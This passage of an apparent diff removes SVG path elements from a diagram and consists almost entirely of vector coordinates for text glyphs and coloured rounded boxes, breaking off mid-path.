-                <path d="M615.70435,407.02863 C614.256433,407.02863 613.136642,406.585922 612.344975,405.700505 C611.553308,404.804672 611.157475,403.544255 611.157475,401.919255 C611.157475,400.242172 611.558517,398.950505 612.3606,398.044255 C613.1731,397.127588 614.318933,396.669255 615.7981,396.669255 C616.277267,396.669255 616.756433,396.721338 617.2356,396.825505 C617.725183,396.929672 618.105392,397.054672 618.376225,397.200505 L617.907475,398.481755 C617.574142,398.346338 617.209558,398.236963 616.813725,398.15363 C616.417892,398.05988 616.068933,398.013005 615.76685,398.013005 C613.7356,398.013005 612.719975,399.304672 612.719975,401.888005 C612.719975,403.117172 612.964767,404.05988 613.45435,404.71613 C613.95435,405.37238 614.693933,405.700505 615.6731,405.700505 C616.506433,405.700505 617.355392,405.523422 618.219975,405.169255 L618.219975,406.49738 C617.553308,406.851547 616.714767,407.02863 615.70435,407.02863 Z M622.101689,406.84113 L620.601689,406.84113 L620.601689,392.669255 L622.101689,392.669255 L622.101689,406.84113 Z M626.742314,396.856755 L626.742314,403.34113 C626.742314,404.15363 626.924606,404.763005 627.289189,405.169255 C627.664189,405.565088 628.242314,405.763005 629.023564,405.763005 C630.075647,405.763005 630.841272,405.476547 631.320439,404.90363 C631.799606,404.330713 632.039189,403.398422 632.039189,402.106755 L632.039189,396.856755 L633.554814,396.856755 L633.554814,406.84113 L632.304814,406.84113 L632.086064,405.49738 L632.007939,405.49738 C631.695439,405.99738 631.263147,406.377588 630.711064,406.638005 C630.169397,406.898422 629.544397,407.02863 628.836064,407.02863 C627.627731,407.02863 626.721481,406.742172 626.117314,406.169255 C625.513147,405.585922 625.211064,404.658838 625.211064,403.388005 L625.211064,396.856755 L626.742314,396.856755 Z M643.208562,404.12238 C643.208562,405.049463 642.859604,405.768213 642.161687,406.27863 C641.474187,406.77863 640.505437,407.02863 639.255437,407.02863 C637.93252,407.02863 636.90127,406.815088 636.161687,406.388005 L636.161687,404.99738 C636.640854,405.236963 637.15127,405.429672 637.692937,405.575505 C638.24502,405.710922 638.77627,405.77863 639.286687,405.77863 C640.078354,405.77863 640.687729,405.65363 641.114812,405.40363 C641.541895,405.143213 641.755437,404.757797 641.755437,404.24738 C641.755437,403.861963 641.583562,403.52863 641.239812,403.24738 C640.906479,402.96613 640.250229,402.638005 639.271062,402.263005 C638.343979,401.919255 637.68252,401.62238 637.286687,401.37238 C636.90127,401.111963 636.609604,400.820297 636.411687,400.49738 C636.224187,400.164047 636.130437,399.768213 636.130437,399.30988 C636.130437,398.49738 636.458562,397.856755 637.114812,397.388005 C637.781479,396.908838 638.692937,396.669255 639.849187,396.669255 C640.922104,396.669255 641.968979,396.888005 642.989812,397.325505 L642.458562,398.55988 C641.458562,398.143213 640.552312,397.93488 639.739812,397.93488 C639.021062,397.93488 638.479395,398.049463 638.114812,398.27863 C637.750229,398.507797 637.567937,398.815088 637.567937,399.200505 C637.567937,399.471338 637.635645,399.700505 637.771062,399.888005 C637.906479,400.075505 638.125229,400.257797 638.427312,400.43488 C638.729395,400.601547 639.312729,400.846338 640.177312,401.169255 C641.364812,401.596338 642.166895,402.02863 642.583562,402.46613 C643.000229,402.90363 643.208562,403.455713 643.208562,404.12238 Z M648.889775,405.77863 C649.160609,405.77863 649.415817,405.757797 649.6554,405.71613 C649.9054,405.674463 650.103317,405.632797 650.24915,405.59113 L650.24915,406.74738 C650.0929,406.830713 649.853317,406.898422 649.5304,406.950505 C649.207484,407.002588 648.921025,407.02863 648.671025,407.02863 C646.743942,407.02863 645.7804,406.007797 645.7804,403.96613 L645.7804,398.02863 L644.3429,398.02863 L644.3429,397.30988 L645.7804,396.669255 L646.4054,394.544255 L647.2804,394.544255 L647.2804,396.856755 L650.18665,396.856755 L650.18665,398.02863 L647.2804,398.02863 L647.2804,403.90363 C647.2804,404.507797 647.421025,404.971338 647.702275,405.294255 C647.993942,405.617172 648.389775,405.77863 648.889775,405.77863 Z M656.475957,407.02863 C654.99679,407.02863 653.830124,406.580713 652.975957,405.68488 C652.12179,404.77863 651.694707,403.52863 651.694707,401.93488 C651.694707,400.320297 652.09054,399.039047 652.882207,398.09113 C653.673874,397.143213 654.736374,396.669255 656.069707,396.669255 C657.330124,396.669255 658.319707,397.080713 659.038457,397.90363 C659.767624,398.726547 660.132207,399.815088 660.132207,401.169255 L660.132207,402.12238 L653.257207,402.12238 C653.288457,403.299463 653.585332,404.190088 654.147832,404.794255 C654.710332,405.398422 655.501999,405.700505 656.522832,405.700505 C657.595749,405.700505 658.658249,405.476547 659.710332,405.02863 L659.710332,406.37238 C659.179082,406.601547 658.673874,406.768213 658.194707,406.87238 C657.71554,406.976547 657.142624,407.02863 656.475957,407.02863 Z M656.054082,397.93488 C655.251999,397.93488 654.611374,398.200505 654.132207,398.731755 C653.663457,399.252588 653.387415,399.971338 653.304082,400.888005 L658.522832,400.888005 C658.522832,399.940088 658.30929,399.210922 657.882207,398.700505 C657.455124,398.190088 656.845749,397.93488 656.054082,397.93488 Z M667.270879,396.669255 C667.718796,396.669255 668.114629,396.705713 668.458379,396.77863 L668.255254,398.18488 C667.838587,398.09113 667.474004,398.044255 667.161504,398.044255 C666.359421,398.044255 665.666712,398.37238 665.083379,399.02863 C664.510462,399.68488 664.224004,400.502588 664.224004,401.481755 L664.224004,406.84113 L662.724004,406.84113 L662.724004,396.856755 L663.958379,396.856755 L664.145879,398.700505 L664.208379,398.700505 C664.583379,398.054672 665.031296,397.554672 665.552129,397.200505 C666.072962,396.846338 666.645879,396.669255 667.270879,396.669255 Z M670.120794,405.87238 C670.120794,405.46613 670.209335,405.158838 670.386419,404.950505 C670.573919,404.742172 670.839544,404.638005 671.183294,404.638005 C671.53746,404.638005 671.813502,404.742172 672.011419,404.950505 C672.209335,405.158838 672.308294,405.46613 672.308294,405.87238 C672.308294,406.268213 672.209335,406.575505 672.011419,406.794255 C671.813502,407.002588 671.53746,407.106755 671.183294,407.106755 C670.88121,407.106755 670.626002,407.013005 670.417669,406.825505 C670.219752,406.627588 670.120794,406.30988 670.120794,405.87238 Z M670.120794,397.825505 C670.120794,397.013005 670.47496,396.606755 671.183294,396.606755 C671.933294,396.606755 672.308294,397.013005 672.308294,397.825505 C672.308294,398.221338 672.209335,398.52863 672.011419,398.74738 C671.813502,398.955713 671.53746,399.05988 671.183294,399.05988 C670.88121,399.05988 670.626002,398.96613 670.417669,398.77863 C670.219752,398.580713 670.120794,398.263005 670.120794,397.825505 Z M686.291144,406.84113 L685.978644,405.419255 L685.916144,405.419255 C685.416144,406.044255 684.916144,406.471338 684.416144,406.700505 C683.92656,406.919255 683.311977,407.02863 682.572394,407.02863 C681.58281,407.02863 680.806769,406.773422 680.244269,406.263005 C679.681769,405.752588 679.400519,405.023422 679.400519,404.075505 C679.400519,402.065088 681.009894,401.007797 684.228644,400.90363 L685.931769,400.856755 L685.931769,400.231755 C685.931769,399.450505 685.759894,398.87238 685.416144,398.49738 C685.08281,398.12238 684.546352,397.93488 683.806769,397.93488 C682.973435,397.93488 682.030727,398.190088 680.978644,398.700505 L680.525519,397.544255 C681.015102,397.283838 681.55156,397.080713 682.134894,396.93488 C682.718227,396.77863 683.306769,396.700505 683.900519,396.700505 C685.088019,396.700505 685.968227,396.96613 686.541144,397.49738 C687.11406,398.018213 687.400519,398.861963 687.400519,400.02863 L687.400519,406.84113 L686.291144,406.84113 Z M682.869269,405.77863 C683.806769,405.77863 684.541144,405.523422 685.072394,405.013005 C685.61406,404.492172 685.884894,403.763005 685.884894,402.825505 L685.884894,401.93488 L684.384894,401.99738 C683.17656,402.039047 682.306769,402.226547 681.775519,402.55988 C681.244269,402.882797 680.978644,403.398422 680.978644,404.106755 C680.978644,404.648422 681.14531,405.065088 681.478644,405.356755 C681.811977,405.638005 682.275519,405.77863 682.869269,405.77863 Z M703.24494,406.84113 L703.24494,400.34113 C703.24494,399.549463 703.073065,398.955713 702.729315,398.55988 C702.395981,398.164047 701.86994,397.96613 701.15119,397.96613 C700.21369,397.96613 699.515773,398.236963 699.05744,398.77863 C698.609523,399.30988 698.385565,400.138005 698.385565,401.263005 L698.385565,406.84113 L696.885565,406.84113 L696.885565,400.34113 C696.885565,399.549463 696.71369,398.955713 696.36994,398.55988 C696.02619,398.164047 695.49494,397.96613 694.77619,397.96613 C693.828273,397.96613 693.130356,398.252588 692.68244,398.825505 C692.24494,399.388005 692.02619,400.315088 692.02619,401.606755 L692.02619,406.84113 L690.52619,406.84113 L690.52619,396.856755 L691.74494,396.856755 L691.99494,398.21613 L692.073065,398.21613 C692.354315,397.736963 692.755356,397.361963 693.27619,397.09113 C693.797023,396.80988 694.380356,396.669255 695.02619,396.669255 C696.578273,396.669255 697.599106,397.236963 698.08869,398.37238 L698.15119,398.37238 C698.453273,397.851547 698.885565,397.440088 699.448065,397.138005 C700.010565,396.825505 700.656398,396.669255 701.385565,396.669255 C702.510565,396.669255 703.354315,396.960922 703.916815,397.544255 C704.479315,398.127588 704.760565,399.054672 704.760565,400.325505 L704.760565,406.84113 L703.24494,406.84113 Z M712.098578,407.02863 C710.619411,407.02863 709.452744,406.580713 708.598578,405.68488 C707.744411,404.77863 707.317328,403.52863 707.317328,401.93488 C707.317328,400.320297 707.713161,399.039047 708.504828,398.09113 C709.296494,397.143213 710.358994,396.669255 711.692328,396.669255 C712.952744,396.669255 713.942328,397.080713 714.661078,397.90363 C715.390244,398.726547 715.754828,399.815088 715.754828,401.169255 L715.754828,402.12238 L708.879828,402.12238 C708.911078,403.299463 709.207953,404.190088 709.770453,404.794255 C710.332953,405.398422 711.124619,405.700505 712.145453,405.700505 C713.218369,405.700505 714.280869,405.476547 715.332953,405.02863 L715.332953,406.37238 C714.801703,406.601547 714.296494,406.768213 713.817328,406.87238 C713.338161,406.976547 712.765244,407.02863 712.098578,407.02863 Z M711.676703,397.93488 C710.874619,397.93488 710.233994,398.200505 709.754828,398.731755 C709.286078,399.252588 709.010036,399.971338 708.926703,400.888005 L714.145453,400.888005 C714.145453,399.940088 713.931911,399.210922 713.504828,398.700505 C713.077744,398.190088 712.468369,397.93488 711.676703,397.93488 Z M724.48725,406.84113 L724.17475,405.419255 L724.11225,405.419255 C723.61225,406.044255 723.11225,406.471338 722.61225,406.700505 C722.122666,406.919255 721.508083,407.02863 720.7685,407.02863 C719.778916,407.02863 719.002875,406.773422 718.440375,406.263005 C717.877875,405.752588 717.596625,405.023422 717.596625,404.075505 C717.596625,402.065088 719.206,401.007797 722.42475,400.90363 L724.127875,400.856755 L724.127875,400.231755 C724.127875,399.450505 723.956,398.87238 723.61225,398.49738 C723.278916,398.12238 722.742458,397.93488 722.002875,397.93488 C721.169541,397.93488 720.226833,398.190088 719.17475,398.700505 L718.721625,397.544255 C719.211208,397.283838 719.747666,397.080713 720.331,396.93488 C720.914333,396.77863 721.502875,396.700505 722.096625,396.700505 C723.284125,396.700505 724.164333,396.96613 724.73725,397.49738 C725.310166,398.018213 725.596625,398.861963 725.596625,400.02863 L725.596625,406.84113 L724.48725,406.84113 Z M721.065375,405.77863 C722.002875,405.77863 722.73725,405.523422 723.2685,405.013005 C723.810166,404.492172 724.081,403.763005 724.081,402.825505 L724.081,401.93488 L722.581,401.99738 C721.372666,402.039047 720.502875,402.226547 719.971625,402.55988 C719.440375,402.882797 719.17475,403.398422 719.17475,404.106755 C719.17475,404.648422 719.341416,405.065088 719.67475,405.356755 C720.008083,405.638005 720.471625,405.77863 721.065375,405.77863 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M590.70557,446.24387 L590.70557,446.24387 C590.70557,437.995671 597.392032,431.309178 605.640262,431.309178 L731.581912,431.309178 C735.542849,431.309178 739.341494,432.882664 742.142337,435.683446 C744.943118,438.484257 746.516605,442.282964 746.516605,446.243871 L746.516605,505.980811 C746.516605,514.22901 739.830081,520.915473 731.581913,520.915473 L605.640263,520.915473 C597.392033,520.915473 590.705571,514.22901 590.705571,505.980811 L590.70557,446.24387 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M590.70557,446.24387 L590.70557,446.24387 C590.70557,437.995671 597.392032,431.309178 605.640262,431.309178 L731.581912,431.309178 C735.542849,431.309178 739.341494,432.882664 742.142337,435.683446 C744.943118,438.484257 746.516605,442.282964 746.516605,446.243871 L746.516605,505.980811 C746.516605,514.22901 739.830081,520.915473 731.581913,520.915473 L605.640263,520.915473 C597.392033,520.915473 590.705571,514.22901 590.705571,505.980811 L590.70557,446.24387 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M658.01184,461.4159 C657.397257,461.926317 656.808715,462.2909 656.246215,462.50965 C655.694132,462.717983 655.095173,462.82215 654.44934,462.82215 C653.38684,462.82215 652.569132,462.561733 651.996215,462.0409 C651.423298,461.520067 651.13684,460.858608 651.13684,460.056525 C651.13684,459.577358 651.246215,459.145067 651.464965,458.75965 C651.683715,458.363817 651.964965,458.051317 652.308715,457.82215 C652.662882,457.582567 653.058715,457.400275 653.496215,457.275275 C653.808715,457.191942 654.29309,457.108608 654.94934,457.025275 C656.272257,456.869025 657.246215,456.681525 657.871215,456.462775 C657.881632,456.233608 657.88684,456.092983 657.88684,456.0409 C657.88684,455.374233 657.73059,454.900275 657.41809,454.619025 C657.001423,454.254442 656.376423,454.07215 655.54309,454.07215 C654.772257,454.07215 654.204548,454.207567 653.839965,454.4784 C653.475382,454.749233 653.204548,455.223192 653.027465,455.900275 L651.41809,455.681525 C651.563923,455.004442 651.803507,454.457567 652.13684,454.0409 C652.470173,453.613817 652.954548,453.285692 653.589965,453.056525 C654.225382,452.827358 654.954548,452.712775 655.777465,452.712775 C656.610798,452.712775 657.282673,452.811733 657.79309,453.00965 C658.313923,453.19715 658.694132,453.441942 658.933715,453.744025 C659.183715,454.035692 659.35559,454.405483 659.44934,454.8534 C659.501423,455.13465 659.527465,455.639858 659.527465,456.369025 L659.527465,458.556525 C659.527465,460.077358 659.563923,461.0409 659.63684,461.44715 C659.709757,461.842983 659.845173,462.2284 660.04309,462.6034 L658.339965,462.6034 C658.162882,462.25965 658.053507,461.863817 658.01184,461.4159 Z M657.871215,457.744025 C657.277465,457.994025 656.38684,458.202358 655.19934,458.369025 C654.522257,458.462775 654.04309,458.57215 653.76184,458.69715 C653.48059,458.82215 653.26184,458.999233 653.10559,459.2284 C652.959757,459.457567 652.88684,459.717983 652.88684,460.00965 C652.88684,460.44715 653.053507,460.811733 653.38684,461.1034 C653.720173,461.395067 654.204548,461.5409 654.839965,461.5409 C655.464965,461.5409 656.022257,461.405483 656.51184,461.13465 C657.01184,460.8534 657.376423,460.473192 657.60559,459.994025 C657.782673,459.619025 657.871215,459.07215 657.871215,458.3534 L657.871215,457.744025 Z M662.075072,462.6034 L662.075072,452.931525 L663.543822,452.931525 L663.543822,454.2909 C663.845906,453.811733 664.246947,453.431525 664.746947,453.150275 C665.257364,452.858608 665.830281,452.712775 666.465697,452.712775 C667.184447,452.712775 667.772989,452.863817 668.231322,453.1659 C668.689656,453.457567 669.012572,453.869025 669.200072,454.400275 C669.970906,453.275275 670.965697,452.712775 672.184447,452.712775 C673.153197,452.712775 673.892781,452.9784 674.403197,453.50965 C674.924031,454.0409 675.184447,454.858608 675.184447,455.962775 L675.184447,462.6034 L673.543822,462.6034 L673.543822,456.50965 C673.543822,455.8534 673.491739,455.38465 673.387572,455.1034 C673.283406,454.811733 673.090697,454.577358 672.809447,454.400275 C672.528197,454.223192 672.200072,454.13465 671.825072,454.13465 C671.147989,454.13465 670.585489,454.363817 670.137572,454.82215 C669.689656,455.270067 669.465697,455.988817 669.465697,456.9784 L669.465697,462.6034 L667.825072,462.6034 L667.825072,456.32215 C667.825072,455.592983 667.689656,455.046108 667.418822,454.681525 C667.147989,454.316942 666.710489,454.13465 666.106322,454.13465 C665.647989,454.13465 665.220906,454.254442 664.825072,454.494025 C664.429239,454.733608 664.142781,455.087775 663.965697,455.556525 C663.799031,456.025275 663.715697,456.702358 663.715697,457.587775 L663.715697,462.6034 L662.075072,462.6034 Z M683.334593,462.6034 L681.693968,462.6034 L681.693968,452.150275 C681.298135,452.525275 680.777302,452.905483 680.131468,453.2909 C679.496052,453.6659 678.923135,453.94715 678.412718,454.13465 L678.412718,452.5409 C679.329385,452.113817 680.131468,451.592983 680.818968,450.9784 C681.506468,450.363817 681.990843,449.770067 682.272093,449.19715 L683.334593,449.19715 L683.334593,462.6034 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M636.8635,480.42615 L636.8635,480.42615 C636.8635,476.619509 639.949377,473.533633 643.756017,473.533633 L693.467017,473.533633 C695.29502,473.533633 697.048194,474.259799 698.340796,475.552401 C699.633399,476.845004 700.359534,478.598147 700.359534,480.42615 L700.359534,507.995425 C700.359534,511.802066 697.273658,514.887942 693.467017,514.887942 L643.756017,514.887942 C639.949377,514.887942 636.8635,511.802066 636.8635,507.995425 L636.8635,480.42615 Z" id="Path" fill="#FEC514"></path>
-                <path d="M650.553,493.75827 L650.553,482.273895 L651.83425,482.273895 L651.83425,483.35202 C652.136333,482.924937 652.474875,482.607228 652.849875,482.398895 C653.235292,482.190562 653.698833,482.086395 654.2405,482.086395 C654.948833,482.086395 655.573833,482.268687 656.1155,482.63327 C656.657167,482.997853 657.063417,483.513478 657.33425,484.180145 C657.6155,484.836395 657.756125,485.560353 657.756125,486.35202 C657.756125,487.206187 657.599875,487.971812 657.287375,488.648895 C656.985292,489.325978 656.542583,489.846812 655.95925,490.211395 C655.386333,490.575978 654.776958,490.75827 654.131125,490.75827 C653.662375,490.75827 653.2405,490.659312 652.8655,490.461395 C652.500917,490.263478 652.198833,490.013478 651.95925,489.711395 L651.95925,493.75827 L650.553,493.75827 Z M651.818625,486.461395 C651.818625,487.534312 652.032167,488.325978 652.45925,488.836395 C652.89675,489.346812 653.422792,489.60202 654.037375,489.60202 C654.662375,489.60202 655.198833,489.336395 655.64675,488.805145 C656.094667,488.273895 656.318625,487.456187 656.318625,486.35202 C656.318625,485.28952 656.099875,484.497853 655.662375,483.97702 C655.224875,483.44577 654.704042,483.180145 654.099875,483.180145 C653.506125,483.180145 652.974875,483.461395 652.506125,484.023895 C652.047792,484.586395 651.818625,485.398895 651.818625,486.461395 Z M658.920187,486.41452 C658.920187,484.88327 659.347271,483.747853 660.201437,483.00827 C660.920187,482.393687 661.789979,482.086395 662.810812,482.086395 C663.956646,482.086395 664.888937,482.461395 665.607687,483.211395 C666.336854,483.950978 666.701437,484.982228 666.701437,486.305145 C666.701437,487.367645 666.539979,488.206187 666.217062,488.82077 C665.894146,489.435353 665.425396,489.91452 664.810812,490.25827 C664.206646,490.591603 663.539979,490.75827 662.810812,490.75827 C661.654562,490.75827 660.717062,490.388478 659.998312,489.648895 C659.279562,488.898895 658.920187,487.82077 658.920187,486.41452 Z M660.373312,486.41452 C660.373312,487.47702 660.602479,488.273895 661.060812,488.805145 C661.529562,489.336395 662.112896,489.60202 662.810812,489.60202 C663.508729,489.60202 664.086854,489.336395 664.545187,488.805145 C665.013937,488.273895 665.248312,487.461395 665.248312,486.367645 C665.248312,485.346812 665.013937,484.57077 664.545187,484.03952 C664.086854,483.50827 663.508729,483.242645 662.810812,483.242645 C662.112896,483.242645 661.529562,483.50827 661.060812,484.03952 C660.602479,484.560353 660.373312,485.35202 660.373312,486.41452 Z M667.787375,488.086395 L669.178,487.867645 C669.250917,488.430145 669.464458,488.862437 669.818625,489.16452 C670.183208,489.456187 670.683208,489.60202 671.318625,489.60202 C671.964458,489.60202 672.443625,489.471812 672.756125,489.211395 C673.068625,488.940562 673.224875,488.628062 673.224875,488.273895 C673.224875,487.961395 673.089458,487.711395 672.818625,487.523895 C672.620708,487.398895 672.141542,487.242645 671.381125,487.055145 C670.349875,486.794728 669.631125,486.57077 669.224875,486.38327 C668.829042,486.185353 668.526958,485.919728 668.318625,485.586395 C668.120708,485.253062 668.02175,484.88327 668.02175,484.47702 C668.02175,484.10202 668.105083,483.75827 668.27175,483.44577 C668.438417,483.13327 668.667583,482.872853 668.95925,482.66452 C669.178,482.497853 669.474875,482.362437 669.849875,482.25827 C670.235292,482.143687 670.641542,482.086395 671.068625,482.086395 C671.724875,482.086395 672.297792,482.180145 672.787375,482.367645 C673.276958,482.555145 673.636333,482.810353 673.8655,483.13327 C674.105083,483.44577 674.27175,483.872853 674.3655,484.41452 L672.9905,484.60202 C672.928,484.174937 672.745708,483.841603 672.443625,483.60202 C672.141542,483.362437 671.719667,483.242645 671.178,483.242645 C670.532167,483.242645 670.068625,483.35202 669.787375,483.57077 C669.516542,483.779103 669.381125,484.023895 669.381125,484.305145 C669.381125,484.492645 669.438417,484.659312 669.553,484.805145 C669.667583,484.950978 669.844667,485.075978 670.08425,485.180145 C670.230083,485.232228 670.64675,485.35202 671.33425,485.53952 C672.323833,485.799937 673.016542,486.018687 673.412375,486.19577 C673.808208,486.362437 674.1155,486.607228 674.33425,486.930145 C674.563417,487.253062 674.678,487.654103 674.678,488.13327 C674.678,488.60202 674.537375,489.044728 674.256125,489.461395 C673.985292,489.867645 673.589458,490.185353 673.068625,490.41452 C672.558208,490.643687 671.980083,490.75827 671.33425,490.75827 C670.250917,490.75827 669.428,490.534312 668.8655,490.086395 C668.303,489.638478 667.943625,488.971812 667.787375,488.086395 Z M679.412375,489.305145 L679.6155,490.555145 C679.219667,490.638478 678.8655,490.680145 678.553,490.680145 C678.042583,490.680145 677.64675,490.60202 677.3655,490.44577 C677.08425,490.279103 676.886333,490.065562 676.77175,489.805145 C676.657167,489.534312 676.599875,488.97702 676.599875,488.13327 L676.599875,483.367645 L675.568625,483.367645 L675.568625,482.273895 L676.599875,482.273895 L676.599875,480.211395 L678.006125,479.367645 L678.006125,482.273895 L679.412375,482.273895 L679.412375,483.367645 L678.006125,483.367645 L678.006125,488.211395 C678.006125,488.617645 678.026958,488.878062 678.068625,488.992645 C678.120708,489.107228 678.204042,489.200978 678.318625,489.273895 C678.433208,489.336395 678.594667,489.367645 678.803,489.367645 C678.95925,489.367645 679.162375,489.346812 679.412375,489.305145 Z M680.232687,488.086395 L681.623312,487.867645 C681.696229,488.430145 681.909771,488.862437 682.263937,489.16452 C682.628521,489.456187 683.128521,489.60202 683.763937,489.60202 C684.409771,489.60202 684.888937,489.471812 685.201437,489.211395 C685.513937,488.940562 685.670187,488.628062 685.670187,488.273895 C685.670187,487.961395 685.534771,487.711395 685.263937,487.523895 C685.066021,487.398895 684.586854,487.242645 683.826437,487.055145 C682.795187,486.794728 682.076437,486.57077 681.670187,486.38327 C681.274354,486.185353 680.972271,485.919728 680.763937,485.586395 C680.566021,485.253062 680.467062,484.88327 680.467062,484.47702 C680.467062,484.10202 680.550396,483.75827 680.717062,483.44577 C680.883729,483.13327 681.112896,482.872853 681.404562,482.66452 C681.623312,482.497853 681.920187,482.362437 682.295187,482.25827 C682.680604,482.143687 683.086854,482.086395 683.513937,482.086395 C684.170187,482.086395 684.743104,482.180145 685.232687,482.367645 C685.722271,482.555145 686.081646,482.810353 686.310812,483.13327 C686.550396,483.44577 686.717062,483.872853 686.810812,484.41452 L685.435812,484.60202 C685.373312,484.174937 685.191021,483.841603 684.888937,483.60202 C684.586854,483.362437 684.164979,483.242645 683.623312,483.242645 C682.977479,483.242645 682.513937,483.35202 682.232687,483.57077 C681.961854,483.779103 681.826437,484.023895 681.826437,484.305145 C681.826437,484.492645 681.883729,484.659312 681.998312,484.805145 C682.112896,484.950978 682.289979,485.075978 682.529562,485.180145 C682.675396,485.232228 683.092062,485.35202 683.779562,485.53952 C684.769146,485.799937 685.461854,486.018687 685.857687,486.19577 C686.253521,486.362437 686.560812,486.607228 686.779562,486.930145 C687.008729,487.253062 687.123312,487.654103 687.123312,488.13327 C687.123312,488.60202 686.982687,489.044728 686.701437,489.461395 C686.430604,489.867645 686.034771,490.185353 685.513937,490.41452 C685.003521,490.643687 684.425396,490.75827 683.779562,490.75827 C682.696229,490.75827 681.873312,490.534312 681.310812,490.086395 C680.748312,489.638478 680.388937,488.971812 680.232687,488.086395 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M664.79517,509.57077 L663.38892,509.57077 L663.38892,500.60202 C663.04517,500.924937 662.597253,501.247853 662.04517,501.57077 C661.503503,501.893687 661.01392,502.138478 660.57642,502.305145 L660.57642,500.94577 C661.35767,500.57077 662.039962,500.122853 662.623295,499.60202 C663.217045,499.07077 663.63892,498.560353 663.88892,498.07077 L664.79517,498.07077 L664.79517,509.57077 Z M668.959232,509.57077 L668.959232,498.117645 L673.287357,498.117645 C674.047774,498.117645 674.625899,498.154103 675.021732,498.22702 C675.584232,498.32077 676.052982,498.497853 676.427982,498.75827 C676.813399,499.018687 677.120691,499.388478 677.349857,499.867645 C677.589441,500.336395 677.709232,500.857228 677.709232,501.430145 C677.709232,502.398895 677.396732,503.221812 676.771732,503.898895 C676.157149,504.575978 675.037357,504.91452 673.412357,504.91452 L670.474857,504.91452 L670.474857,509.57077 L668.959232,509.57077 Z M670.474857,503.555145 L673.443607,503.555145 C674.422774,503.555145 675.115482,503.372853 675.521732,503.00827 C675.938399,502.643687 676.146732,502.13327 676.146732,501.47702 C676.146732,500.997853 676.021732,500.586395 675.771732,500.242645 C675.532149,499.898895 675.214441,499.674937 674.818607,499.57077 C674.568607,499.497853 674.099857,499.461395 673.412357,499.461395 L670.474857,499.461395 L670.474857,503.555145 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M636.8635,584.42615 L636.8635,584.42615 C636.8635,580.619509 639.949377,577.533633 643.756017,577.533633 L693.467017,577.533633 C695.29502,577.533633 697.048194,578.259768 698.340796,579.552371 C699.633399,580.844973 700.359534,582.598147 700.359534,584.42615 L700.359534,611.995425 C700.359534,615.802066 697.273658,618.887942 693.467017,618.887942 L643.756017,618.887942 C639.949377,618.887942 636.8635,615.802066 636.8635,611.995425 L636.8635,584.42615 Z" id="Path" fill="#FA734F"></path>
-                <path d="M654.96704,594.5708 L654.96704,583.117675 L656.37329,583.117675 L656.37329,594.5708 L654.96704,594.5708 Z M658.021727,590.41455 C658.021727,588.8833 658.448811,587.747883 659.302977,587.0083 C660.021727,586.393717 660.891519,586.086425 661.912352,586.086425 C663.058186,586.086425 663.990477,586.461425 664.709227,587.211425 C665.438394,587.951008 665.802977,588.982258 665.802977,590.305175 C665.802977,591.367675 665.641519,592.206217 665.318602,592.8208 C664.995686,593.435383 664.526936,593.91455 663.912352,594.2583 C663.308186,594.591633 662.641519,594.7583 661.912352,594.7583 C660.756102,594.7583 659.818602,594.388508 659.099852,593.648925 C658.381102,592.898925 658.021727,591.8208 658.021727,590.41455 Z M659.474852,590.41455 C659.474852,591.47705 659.704019,592.273925 660.162352,592.805175 C660.631102,593.336425 661.214436,593.60205 661.912352,593.60205 C662.610269,593.60205 663.188394,593.336425 663.646727,592.805175 C664.115477,592.273925 664.349852,591.461425 664.349852,590.367675 C664.349852,589.346842 664.115477,588.5708 663.646727,588.03955 C663.188394,587.5083 662.610269,587.242675 661.912352,587.242675 C661.214436,587.242675 660.631102,587.5083 660.162352,588.03955 C659.704019,588.560383 659.474852,589.35205 659.474852,590.41455 Z M667.18579,595.2583 L668.56079,595.461425 C668.612873,595.888508 668.769123,596.1958 669.02954,596.3833 C669.383707,596.643717 669.862873,596.773925 670.46704,596.773925 C671.112873,596.773925 671.612873,596.643717 671.96704,596.3833 C672.321207,596.122883 672.56079,595.7583 672.68579,595.28955 C672.758707,595.0083 672.795165,594.404133 672.795165,593.47705 C672.180582,594.206217 671.414957,594.5708 670.49829,594.5708 C669.352457,594.5708 668.46704,594.159342 667.84204,593.336425 C667.21704,592.513508 666.90454,591.523925 666.90454,590.367675 C666.90454,589.576008 667.045165,588.846842 667.326415,588.180175 C667.618082,587.513508 668.034748,586.997883 668.576415,586.6333 C669.128498,586.268717 669.769123,586.086425 670.49829,586.086425 C671.477457,586.086425 672.284748,586.482258 672.920165,587.273925 L672.920165,586.273925 L674.21704,586.273925 L674.21704,593.4458 C674.21704,594.737467 674.086832,595.654133 673.826415,596.1958 C673.565998,596.737467 673.149332,597.16455 672.576415,597.47705 C672.003498,597.78955 671.300373,597.9458 670.46704,597.9458 C669.477457,597.9458 668.675373,597.721842 668.06079,597.273925 C667.456623,596.826008 667.164957,596.154133 667.18579,595.2583 Z M668.357665,590.273925 C668.357665,591.357258 668.571207,592.148925 668.99829,592.648925 C669.43579,593.148925 669.977457,593.398925 670.62329,593.398925 C671.269123,593.398925 671.81079,593.154133 672.24829,592.66455 C672.68579,592.16455 672.90454,591.3833 672.90454,590.3208 C672.90454,589.299967 672.680582,588.534342 672.232665,588.023925 C671.784748,587.503092 671.243082,587.242675 670.607665,587.242675 C669.982665,587.242675 669.451415,587.497883 669.013915,588.0083 C668.576415,588.518717 668.357665,589.273925 668.357665,590.273925 Z M675.787352,592.086425 L677.177977,591.867675 C677.250894,592.430175 677.464436,592.862467 677.818602,593.16455 C678.183186,593.456217 678.683186,593.60205 679.318602,593.60205 C679.964436,593.60205 680.443602,593.471842 680.756102,593.211425 C681.068602,592.940592 681.224852,592.628092 681.224852,592.273925 C681.224852,591.961425 681.089436,591.711425 680.818602,591.523925 C680.620686,591.398925 680.141519,591.242675 679.381102,591.055175 C678.349852,590.794758 677.631102,590.5708 677.224852,590.3833 C676.829019,590.185383 676.526936,589.919758 676.318602,589.586425 C676.120686,589.253092 676.021727,588.8833 676.021727,588.47705 C676.021727,588.10205 676.105061,587.7583 676.271727,587.4458 C676.438394,587.1333 676.667561,586.872883 676.959227,586.66455 C677.177977,586.497883 677.474852,586.362467 677.849852,586.2583 C678.235269,586.143717 678.641519,586.086425 679.068602,586.086425 C679.724852,586.086425 680.297769,586.180175 680.787352,586.367675 